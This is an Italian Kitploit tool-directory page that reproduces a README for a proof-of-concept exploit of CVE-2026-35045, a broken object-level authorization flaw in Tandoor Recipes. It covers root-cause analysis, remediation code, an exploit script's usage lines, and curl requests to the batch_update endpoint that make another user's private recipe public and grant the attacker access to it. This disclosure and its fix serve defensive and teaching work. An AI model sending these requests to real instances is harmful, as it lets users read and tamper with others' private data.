Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-35045-PoC — Proof-of-concept exploit per CVE-2026-35045, una vulnerabilità di autorizzazione a livello di oggetto non corretta in Tandoor Recipes, che dimostra la modifica non autorizzata delle ricette tramite l'endpoint API batch_update. | Kitploit
Strumenti/GitHubGitHub/filipegaudard/cve-2026-35045-poc
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebTest di Sicurezza delle APIPenetration TestingApprendimento e Formazione
GitHubfilipegaudard/cve-2026-35045-poc

CVE-2026-35045-PoC

Proof-of-concept exploit per CVE-2026-35045, una vulnerabilità di autorizzazione a livello di oggetto non corretta in Tandoor Recipes, che dimostra la modifica non autorizzata delle ricette tramite l'endpoint API batch_update.

Vedi Repository
114 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-35045 — Autorizzazione a Livello di Oggetto Rottura in Tandoor Recipes

CVE-2026-35045 GHSA CVSS 8.1 CWE-639

Affected Version Responsible Disclosure


Riepilogo

L'endpoint PUT /api/recipe/batch_update/ in Tandoor Recipes v2.6.1 consente a qualsiasi utente autenticato all'interno di uno Spazio di modificare qualsiasi ricetta in quello Spazio — incluse le ricette private di proprietà di altri utenti. Questo bypassa completamente i controlli di autorizzazione a livello di oggetto applicati su tutti gli endpoint standard per singola ricetta.

La causa principale è una lacuna comportamentale di Django REST Framework: le azioni di lista con detail=False non invocano mai has_object_permission(), ma solo has_permission(). Il queryset filtra esclusivamente per space=request.space, senza alcun controllo su created_by, private o la lista shared. Un attaccante può forzare l'esposizione di ricette private, auto-concedersi accesso persistente, revocare i permessi di altri utenti e manomettere i metadati — il tutto in una singola chiamata API dall'aspetto non autorizzato che restituisce HTTP 200 OK con corpo vuoto.

Dettagli della Vulnerabilità

CampoValore
ID CVECVE-2026-35045
GHSAGHSA-v8x3-w674-55p5
CWECWE-639 — Bypass dell'Autorizzazione tramite Chiave Controllata dall'Utente
CVSS v3.18.1 ALTA — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Versione AffettaTandoor Recipes ≤ 2.6.1
VendorTandoorRecipes/recipes

Mappatura MITRE ATT&CK

ID TecnicaNomeRilevanza
T1078Account ValidiL'attaccante usa credenziali legittime a bassi privilegi per bypassare l'autorizzazione
T1565.001Manipolazione dei Dati MemorizzatiModifica di ricette private e ACL di proprietà di altri utenti

Analisi della Causa Principale

1. detail=False Bypassa i Controlli di Permesso a Livello di Oggetto

File: cookbook/views/api.py

root@kitploit:~
@decorators.action(detail=False, methods=['PUT'], serializer_class=RecipeBatchUpdateSerializer)
def batch_update(self, request):
    serializer = self.serializer_class(data=request.data, partial=True)
    if serializer.is_valid():
        recipes = Recipe.objects.filter(
            id__in=serializer.validated_data['recipes'],
            space=self.request.space   # ← Nessun controllo su created_by o private
        )

In Django REST Framework, le azioni registrate con detail=False sono azioni di lista. Non chiamano mai get_object(), il che significa che check_object_permissions() e CustomRecipePermission.has_object_permission() non vengono mai invocate. Viene eseguita solo has_permission() — che verifica l'appartenenza allo Spazio, non la proprietà della ricetta.

2. Gli Endpoint Standard Sono Protetti Correttamente

PUT /api/recipe/{id}/ segue il flusso completo dei permessi DRF:

root@kitploit:~
get_object()
  → check_object_permissions()
    → CustomRecipePermission.has_object_permission()
      → nega l'accesso se la ricetta è privata e non di proprietà/condivisa con il richiedente

L'endpoint batch_update salta silenziosamente l'intera catena.

3. Campi Scrivibili tramite Batch

RecipeBatchUpdateSerializer espone i seguenti campi — scrivibili su qualsiasi ricetta nello Spazio:

CampoEffetto
privateAttiva/disattiva la visibilità della ricetta
shared_add / shared_remove / shared_setManipola la lista di controllo degli accessi
keywords_add / keywords_remove / keywords_setAltera i metadati della ricetta
working_time / waiting_timeModifica i dati temporali della ricetta

Flusso dell'Attacco

root@kitploit:~
┌──────────┐   ① PUT /api/recipe/batch_update/    ┌─────────────────┐
│ Attaccante│ ─────────────────────────────────────→│  Server Tandoor │
│ (Utente B)│   {"recipes":[2],"private":false,     │                 │
│          │    "shared_add":[2]}                  │  has_permission()│
└──────────┘                                       │  ✓ (Membro Spazio)│
                                                   │                 │
                                                   │  has_object_    │
                                                   │  permission()   │
                                                   │  ✗ MAI CHIAMATA │
                                                   └────────┬────────┘
                                                            │
                                              ② Recipe.objects.filter(
                                                 id__in=[2],
                                                 space=request.space
                                              )  ← Nessun controllo di proprietà
                                                            │
                                                            ▼
                                                   ┌────────────────┐
                                                   │  Ricetta ID 2  │
                                                   │  (di proprietà di A)│
                                                   │  private=false ← modificata
                                                   │  shared=[2]  ← auto-concessa
                                                   └────────┬───────┘
                                                            │
                                              ③ HTTP 200 OK — {}
                                                            │
                                                            ▼
                                                   ┌────────────────┐
                                                   │ Attaccante (B) │
                                                   │ ora ha accesso │
                                                   │ completo alla  │
                                                   │ Ricetta ID 2   │
                                                   └────────────────┘

Prova di Concetto

Requisiti

  • Python 3.10+
  • Libreria requests
root@kitploit:~
pip install requests

Utilizzo

root@kitploit:~
# Forza l'esposizione di una ricetta privata e auto-concedi l'accesso (predefinito)
python3 poc.py --url http://127.0.0.1:8085 \
               --username userB --password passB \
               --recipe-id 2 \
               --attacker-user-id 2

# Solo esposizione forzata (imposta private=false)
python3 poc.py --url http://127.0.0.1:8085 \
               --username userB --password passB \
               --recipe-id 2 \
               --attacker-user-id 2 \
               --action expose

# Solo auto-concessione (aggiungi alla lista shared, mantieni private=true)
python3 poc.py --url http://127.0.0.1:8085 \
               --username userB --password passB \
               --recipe-id 2 \
               --attacker-user-id 2 \
               --action self_grant

Moduli / Azioni

AzioneDescrizione
exposeImposta private: false sulla ricetta target — forza la visibilità a tutti i membri dello Spazio
self_grantAggiunge l'ID utente dell'attaccante a shared_add — concede accesso persistente anche se la ricetta rimane privata
bothEsegue entrambe le azioni in una singola richiesta (predefinito)

Verifica Manuale (curl)

1. Pre-condizione — La ricetta è inaccessibile tramite endpoint standard

root@kitploit:~
curl -s -o /dev/null -w "%{http_code}" \
  http://TARGET:8085/api/recipe/2/ \
  -H "Cookie: sessionid=SESSION_B; csrftoken=CSRF_B"
# Previsto: 404 (privata, non di proprietà)

2. Exploit — batch_update senza autorizzazione

root@kitploit:~
curl -X PUT 'http://TARGET:8085/api/recipe/batch_update/' \
  -H 'Content-Type: application/json' \
  -H 'X-CSRFToken: CSRF_B' \
  -H 'Cookie: csrftoken=CSRF_B; sessionid=SESSION_B' \
  -d '{"recipes": [2], "shared_add": [2], "private": false}'
# Previsto: HTTP 200 OK — {}

3. Post-condizione — La ricetta è ora accessibile

root@kitploit:~
curl -s http://TARGET:8085/api/recipe/2/ \
  -H "Cookie: sessionid=SESSION_B; csrftoken=CSRF_B"
# Previsto: HTTP 200 con dati della ricetta, private=false

4. Verifica tramite elenco ricette

root@kitploit:~
curl -s 'http://TARGET:8085/api/recipe/' \
  -H 'Cookie: csrftoken=CSRF_B; sessionid=SESSION_B' \
  | python3 -c "import sys,json; [print(r['id'],r['name'],r['private']) for r in json.load(sys.stdin)['results']]"
# Previsto: 2  <nome_ricetta>  False

Impatto

Area di ImpattoDescrizioneGravità
Esposizione Forzata della RicettaImpostare private: false rende qualsiasi ricetta visibile a tutti i membri dello SpazioAlta
Auto-Concessione Non AutorizzataAggiungere il proprio ID utente tramite shared_add concede accesso persistente in lettura/scrittura a qualsiasi ricettaAlta
Revoca dell'AccessoUtilizzare shared_remove o shared_set per rimuovere utenti legittimi dalla lista di condivisione di una ricettaAlta
Manomissione dei MetadatiModifica di working_time, waiting_time e keywords su ricette di proprietà di altri utentiMedia

Rimedio

Correzione Immediata

Filtra il queryset per created_by=request.user per limitare le operazioni batch alle ricette di proprietà:

root@kitploit:~
@decorators.action(detail=False, methods=['PUT'], serializer_class=RecipeBatchUpdateSerializer)
def batch_update(self, request):
    serializer = self.serializer_class(data=request.data, partial=True)
    if serializer.is_valid():
        recipes = Recipe.objects.filter(
            id__in=serializer.validated_data['recipes'],
            space=self.request.space,
            created_by=self.request.user,  # ← Correzione: limita alle ricette di proprietà
        )

Difesa in Profondità

Se gli amministratori dello Spazio necessitano della capacità di aggiornare in batch qualsiasi ricetta, aggiungi una condizione basata sui ruoli:

root@kitploit:~
if is_space_owner(request.user, request.space):
    recipes = Recipe.objects.filter(
        id__in=serializer.validated_data['recipes'],
        space=self.request.space,
    )
else:
    recipes = Recipe.objects.filter(
        id__in=serializer.validated_data['recipes'],
        space=self.request.space,
        created_by=self.request.user,
    )

Linee Guida Generali per DRF

Qualsiasi azione con detail=False che opera su singoli oggetti deve applicare manualmente l'autorizzazione a livello di oggetto. has_object_permission() di DRF non viene mai chiamata per le azioni di lista — questa responsabilità ricade interamente sullo sviluppatore.


Riferimenti

  • GHSA-v8x3-w674-55p5
  • CVE-2026-35045
  • CWE-639: Bypass dell'Autorizzazione tramite Chiave Controllata dall'Utente
  • DRF — Azioni Personalizzate e Controlli dei Permessi
  • OWASP API Security Top 10 — API1:2023 Autorizzazione a Livello di Oggetto Rottura
  • MITRE ATT&CK T1078 — Account Validi
  • MITRE ATT&CK T1565.001 — Manipolazione dei Dati Memorizzati

Disclaimer

Questa prova di concetto è fornita esclusivamente per test di sicurezza autorizzati e scopi educativi. L'accesso non autorizzato a sistemi informatici è illegale. L'autore non si assume alcuna responsabilità per l'uso improprio di questo strumento.


Autore

Filipe Gaudard — Ricercatore di Sicurezza Offensiva | eWPT | eWPTx

  • GitHub: @FilipeGaudard
  • LinkedIn: Filipe Gaudard
Scarica lo strumento